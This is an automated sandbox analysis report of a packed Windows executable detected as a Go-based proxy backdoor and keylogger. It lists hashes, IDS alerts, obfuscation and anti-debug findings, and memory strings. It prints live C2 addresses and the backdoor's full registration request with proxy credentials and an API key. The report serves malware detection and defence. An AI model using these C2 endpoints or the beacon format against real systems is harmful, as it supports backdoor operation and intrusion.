Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
Analysis ID:	1611944
MD5:	2e82e1c508af8197f9a033822e9d742f
SHA1:	810bb59a46ef0ab3e164f4d45b2334d0f5af9e04
SHA256:	50a606e258eabb822fe0b64ce17d91fcc17b1f4465aa874c2f3f1ff51fb3a956
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

GO Backdoor

Score:	92
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GO Backdoor

Found Tor onion address

Joe Sandbox ML detected suspicious sample

Uses known network protocols on non-standard ports

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe (PID: 7712 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe" MD5: 2E82E1C508AF8197F9A033822E9D742F)

WerFault.exe (PID: 8044 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 756 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 8076 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 780 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 8112 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 796 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 8144 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 816 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2581726494.000000000C940000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe PID: 7712	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe PID: 7712	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security

Suricata Signatures

ETPRO MALWARE Golang Backdoor Activity - Observed GhostSOCKS related

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-11T10:55:40.448676+0100	2855478	1	A Network Trojan was detected	192.168.2.11	49903	46.8.232.106	30001	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-11T10:55:41.001163+0100	2855536	1	A Network Trojan was detected	192.168.2.11	49932	185.121.233.152	14887	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-11T10:56:10.449366+0100	2855537	1	A Network Trojan was detected	192.168.2.11	49932	185.121.233.152	14887	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-11T10:56:10.628328+0100	2855538	1	A Network Trojan was detected	185.121.233.152	14887	192.168.2.11	49932	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-11T10:55:41.000742+0100	2855539	1	A Network Trojan was detected	185.121.233.152	14887	192.168.2.11	49932	TCP

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• Key, Mouse, Clipboard, Microphone and Screen Capturing
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• Language, Device and Operating System Detection
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://147.45.196.157:30001/api/helper-first-register

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Virustotal: Detection: 26%			Perma Link
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	ReversingLabs: Detection: 34%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Unpacked PE file: 0.2.SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe.6c0000.0.unpack

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source:	Binary string: wntdll.pdbUGP source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2576724895.00000000031A0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2576724895.00000000031A0000.00000040.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855539 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2 : 185.121.233.152:14887 -> 192.168.2.11:49932
Source: Network traffic	Suricata IDS: 2855478 - Severity 1 - ETPRO MALWARE Golang Backdoor Activity - Observed GhostSOCKS related : 192.168.2.11:49903 -> 46.8.232.106:30001
Source: Network traffic	Suricata IDS: 2855536 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1 : 192.168.2.11:49932 -> 185.121.233.152:14887
Source: Network traffic	Suricata IDS: 2855537 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2 : 192.168.2.11:49932 -> 185.121.233.152:14887
Source: Network traffic	Suricata IDS: 2855538 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1 : 185.121.233.152:14887 -> 192.168.2.11:49932

Found Tor onion address

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000003.1655200621.0000000003730000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''quit3125Atoiint8uintchanfunccallkind != ermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--AhomChamKawiLisuMiaoModiNewaThaiTotoDashasn1tag:MarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930false<nil>Errordefersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:***@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirLstatarray%s:%dyamuxlocalparsentohs1562578125int16int32int64uint8slicesse41sse42ssse3 (at ClassTypeAtls: Earlyutf-8%s*%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermSHA-1P-224P-256P-384P-521ECDSAupdatekilleduserIdconfigSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13StringFormat[]bytestringsysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remotehangup Value390625uint16uint32uint64structchan<-<-chanrdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenSTREETTuesdayJanuaryOctoberMUI_StdMUI_Dltfloat32float64forcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswindowswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused\\.\UNCabortedCopySidWSARecvWSASendsignal Swapper19531259765625invaliduintptrChanDir Value>Convertos/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectutf-8''charsetAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop tracedisablethpinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachet

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49903

Source: global traffic	TCP traffic: 192.168.2.11:49903 -> 46.8.232.106:30001
Source: global traffic	TCP traffic: 192.168.2.11:49932 -> 185.121.233.152:14887

Source: Joe Sandbox View	IP Address: 46.8.232.106 46.8.232.106
Source: Joe Sandbox View	IP Address: 185.121.233.152 185.121.233.152

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: IPCORE-ASES IPCORE-ASES

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152

Source: global traffic

HTTP traffic detected: GET /api/helper-first-register?buildVersion=0z76.pdO2CqG&md5=2e82e1c508af8197f9a033822e9d742f&proxyPassword=3ijnTpLW&proxyUsername=4dUZxibc&userId=gyQqwSb2enJmg2j1kyuweSXakKqafLse HTTP/1.1Host: 46.8.232.106:30001User-Agent: Go-http-client/1.1X-Api-Key: GAlbhK5HAccept-Encoding: gzip

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://147.45.196.157:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C864000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://147.45.196.157:30001/api/helper-first-register185.121.233.152;14887;hQUatmqOtRaIpGdc:Gtx/0zT/
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://147.45.196.157:30001/api/helper-first-register2025/02/11
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C85C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C80E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001/api/helper-first-register?
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C80E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C84E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001/api/helper-first-register?buildVersion=0z76.pdO2CqG&md5=2e82e1c508af8197f9
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C85C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001GAlbhK5HREQUEST_METHODGo-http-client/1.1
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.236.61:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.212.166.91:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C92A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.212.166.9:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2580290752.000000000C854000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://HTTP/1.1X-Api-KeyGAlbhK5Hhttp/1.1http/1.1HTTP_PROXY
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	String found in binary or memory: http://www.picget.net
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	String found in binary or memory: http://www.picget.net/photoshine-photo-editor/buy.html
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	String found in binary or memory: http://www.picget.net/photoshine-photo-editor/buy.htmlIEXPLORE.EXEopenU
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	String found in binary or memory: http://www.picget.netIEXPLORE.EXEopenU

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe PID: 7712, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03123A3A NtWriteVirtualMemory,NtWriteVirtualMemory,		0_2_03123A3A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03123A22 NtWriteVirtualMemory,NtWriteVirtualMemory,		0_2_03123A22

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_0313D299	0_2_0313D299
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03127970	0_2_03127970
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_0312F1E0	0_2_0312F1E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03131630	0_2_03131630
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03130CC0	0_2_03130CC0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 756

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000000.1318745666.0000000000D05000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameProfessional Image Effect for DELPHI8 vs SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2576724895.00000000032CD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2581726494.000000000C932000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameProfessional Image Effect for DELPHI8 vs SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Binary or memory string: OriginalFilenameProfessional Image Effect for DELPHI8 vs SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Static PE information: Section: ogmsrn ZLIB complexity 1.021484375

Source: classification engine

Classification label: mal92.troj.evad.winEXE@5/1@0/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Mutant created: \Sessions\1\BaseNamedObjects\RunOnlyOnce_MyProjectShine

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

File created: C:\Users\user\AppData\Local\Temp\config

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Virustotal: Detection: 26%
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 756
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 780
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 796
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 816

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Section loaded: mswsock.dll	Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Static file information: File size 6808576 > 1048576

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Static PE information: Raw size of CODE is bigger than: 0x100000 < 0x3d6e00
Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x296000

Source:	Binary string: wntdll.pdbUGP source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2576724895.00000000031A0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, 00000000.00000002.2576724895.00000000031A0000.00000040.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Unpacked PE file: 0.2.SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe.6c0000.0.unpack

Source: SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Static PE information: section name: ogmsrn

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03152B10 push dword ptr [esp]; retn 0004h	0_2_03152B46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03152B1D push dword ptr [esp]; retn 0004h	0_2_03152B46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_0315171F push dword ptr [esp+2Ch]; retn 0030h	0_2_03151704
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03150305 push dword ptr [esp]; retn 0004h	0_2_031502A2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_0315170F push dword ptr [esp+30h]; retn 0034h	0_2_031517F5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151730 push dword ptr [esp+2Ch]; retn 0030h	0_2_03151704
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151B3E push dword ptr [esp+08h]; retn 000Ch	0_2_03151C28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03150326 push dword ptr [esp+0Ch]; retn 0010h	0_2_03150389
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03152B28 push dword ptr [esp]; retn 0004h	0_2_03152B46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151B57 push dword ptr [esp+18h]; retn 001Ch	0_2_03151B65
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03150353 push dword ptr [esp+0Ch]; retn 0010h	0_2_03150389
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_0315175D push eax; ret	0_2_0315180F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03152B59 push dword ptr [esp]; retn 0004h	0_2_03152B46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151B43 push dword ptr [esp+08h]; retn 000Ch	0_2_03151C28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151B7A push dword ptr [esp+0Ch]; retn 0010h	0_2_03151B9B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03150362 push dword ptr [esp+0Ch]; retn 0010h	0_2_03150389
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_0315036F push dword ptr [esp+0Ch]; retn 0010h	0_2_03150389
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03150397 push eax; ret	0_2_031503A3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151F96 push ebx; ret	0_2_03151F97
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03152B9F push dword ptr [esp]; retn 0004h	0_2_03152B46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03152B83 push dword ptr [esp]; retn 0004h	0_2_03152B46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151DBF push eax; mov dword ptr [esp], esi	0_2_03151DD1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151DBF push dword ptr [esp+14h]; retn 0018h	0_2_03151E0E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151BBE push dword ptr [esp+0Ch]; retn 0010h	0_2_03151B9B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_031521A5 push ebx; ret	0_2_031521A6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_031501A1 push dword ptr [esp]; retn 0004h	0_2_031502A2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_031517D8 push dword ptr [esp+30h]; retn 0034h	0_2_031517F5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_031517C3 push ecx; ret	0_2_03151C4E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151FF4 push dword ptr [esp+04h]; retn 0008h	0_2_03151FF8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_03151BF6 push dword ptr [esp+04h]; retn 0008h	0_2_03151BF3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Code function: 0_2_031529F2 push dword ptr [esp+20h]; retn 0024h	0_2_03152A04

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49903

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
